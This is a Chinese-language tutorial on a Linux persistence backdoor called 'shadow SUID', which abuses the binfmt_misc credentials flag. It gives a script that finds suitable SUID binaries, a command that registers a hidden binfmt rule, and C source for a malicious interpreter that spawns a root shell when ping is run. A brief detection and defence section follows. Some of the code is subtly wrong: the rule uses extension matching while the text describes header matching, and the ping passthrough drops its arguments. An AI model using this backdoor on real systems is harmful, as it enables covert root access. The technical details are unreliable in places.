Linux权限维持之影子SUID的利用
字数 1305 2025-08-26 22:11:22
Linux权限维持之影子SUID利用技术详解
0x00 前言
本文详细讲解Linux系统中利用影子SUID进行权限维持的技术原理和实现方法。该技术利用Linux内核的binfmt_misc机制,在不设置SUID位的情况下实现SUID权限继承,具有隐蔽性强、检测难度大的特点。
0x01 SUID基础概念
1. SUID定义
SUID(Set User ID)是Linux系统中的一种特殊权限,当程序设置了SUID位时:
- 无论哪个用户执行该程序,程序都会以文件所有者的权限运行
- 典型例子:
/bin/ping需要root权限创建原始套接字,但通过SUID机制允许普通用户使用
2. SUID权限表示
-rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
s表示设置了SUID位
3. 传统SUID后门
攻击者常用的SUID后门方法:
- 创建SUID shell程序
- 替换系统原有SUID程序
但这些方法容易被检测:
find / -perm -4000查找SUID文件- 包管理器验证(
dpkg --verify或rpm -Va)
0x02 影子SUID原理
1. 基本概念
影子SUID与普通SUID的区别:
- 不设置SUID位,常规检测方法无法发现
- 利用
binfmt_misc机制继承现有SUID程序的权限
2. binfmt_misc机制
- Linux内核模块(2.1.43+)
- 允许注册新的二进制格式处理程序
- 根据文件特征(前128字节或扩展名)决定使用哪个解释器
3. 关键特性:C(credentials)标志
- 默认行为:根据解释器计算新进程凭证
- 设置C标志:根据二进制文件计算凭证
- 效果:当解释SUID文件时,解释器会以root权限运行
0x03 影子SUID实现步骤
1. 环境检查
# 检查内核是否支持binfmt_misc
grep 'BINFMT_MISC' /boot/config-`uname -r`
# 检查是否已挂载binfmt_misc
mount | grep binfmt_misc
# 查看现有规则
ls -la /proc/sys/fs/binfmt_misc
2. 寻找合适的SUID程序
要求:
- 前128字节具有唯一性
- 系统自带SUID程序
可使用工具扫描:
# locate_unique_suids.py
import os, hashlib
suid_files = []
for root, dirs, files in os.walk('/'):
for file in files:
path = os.path.join(root, file)
if os.path.isfile(path) and os.access(path, os.X_OK) and (os.stat(path).st_mode & 0o4000):
try:
with open(path, 'rb') as f:
header = f.read(128)
hash = hashlib.md5(header).hexdigest()
suid_files.append((path, hash))
except:
continue
# 找出唯一header的SUID程序
from collections import defaultdict
header_counts = defaultdict(list)
for path, hash in suid_files:
header_counts[hash].append(path)
unique_suids = [files[0] for files in header_counts.values() if len(files) == 1]
3. 创建影子SUID
以/bin/ping为例:
# 提取前128字节作为特征
head -c 128 /bin/ping > ping.header
# 创建隐藏的binfmt规则(以.开头)
echo ':ping:E::ping::/tmp/evil_interpreter:OC' > /proc/sys/fs/binfmt_misc/.ping
# 解释:
# :ping: - 规则名称
# E::ping:: - 匹配以ping文件前128字节开头的文件
# /tmp/evil_interpreter - 自定义解释器路径
# OC - 标志(O=open binary, C=credentials)
4. 创建恶意解释器
// evil_interpreter.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
setuid(0);
system("/bin/bash");
return 0;
}
编译:
gcc evil_interpreter.c -o /tmp/evil_interpreter
5. 触发执行
当用户执行ping时:
- 系统匹配到我们的binfmt规则
- 使用
/tmp/evil_interpreter解释执行 - 由于C标志,解释器继承ping的SUID权限
- 获取root shell
0x04 高级技巧
1. 隐藏规则
- 规则名称以
.开头(.ping) - 不会在
ls /proc/sys/fs/binfmt_misc中直接显示
2. 绕过原始程序调用
问题:直接调用原始程序会导致循环解释
解决方案:
// interpreter_final.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char *argv[]) {
// 禁用规则
int fd = open("/proc/sys/fs/binfmt_misc/.ping", O_WRONLY);
write(fd, "0", 1);
close(fd);
// 执行原始程序
system("/bin/ping \"$@\"");
// 重新启用规则
fd = open("/proc/sys/fs/binfmt_misc/.ping", O_WRONLY);
write(fd, "1", 1);
close(fd);
return 0;
}
0x05 检测与防御
1. 检测方法
# 检查异常的binfmt规则
ls -la /proc/sys/fs/binfmt_misc
# 检查规则flags是否包含C
cat /proc/sys/fs/binfmt_misc/* | grep 'flags.*C'
# 检查隐藏规则
ls -a /proc/sys/fs/binfmt_misc | grep '^\.'
2. 防御措施
- 卸载binfmt_misc模块:
rm $(modinfo -n binfmt_misc)
- 监控
/proc/sys/fs/binfmt_misc目录变化 - 限制root权限,防止攻击者注册规则
0x06 总结
影子SUID技术利用Linux内核特性实现隐蔽的权限维持:
- 无需设置SUID位,常规检测方法无效
- 利用合法SUID程序作为"解释文件"
- 通过binfmt_misc的C标志继承权限
- 具有高度隐蔽性,难以检测和清除
防御关键在于:
- 监控binfmt_misc规则变化
- 限制不必要的SUID程序
- 严格控制root权限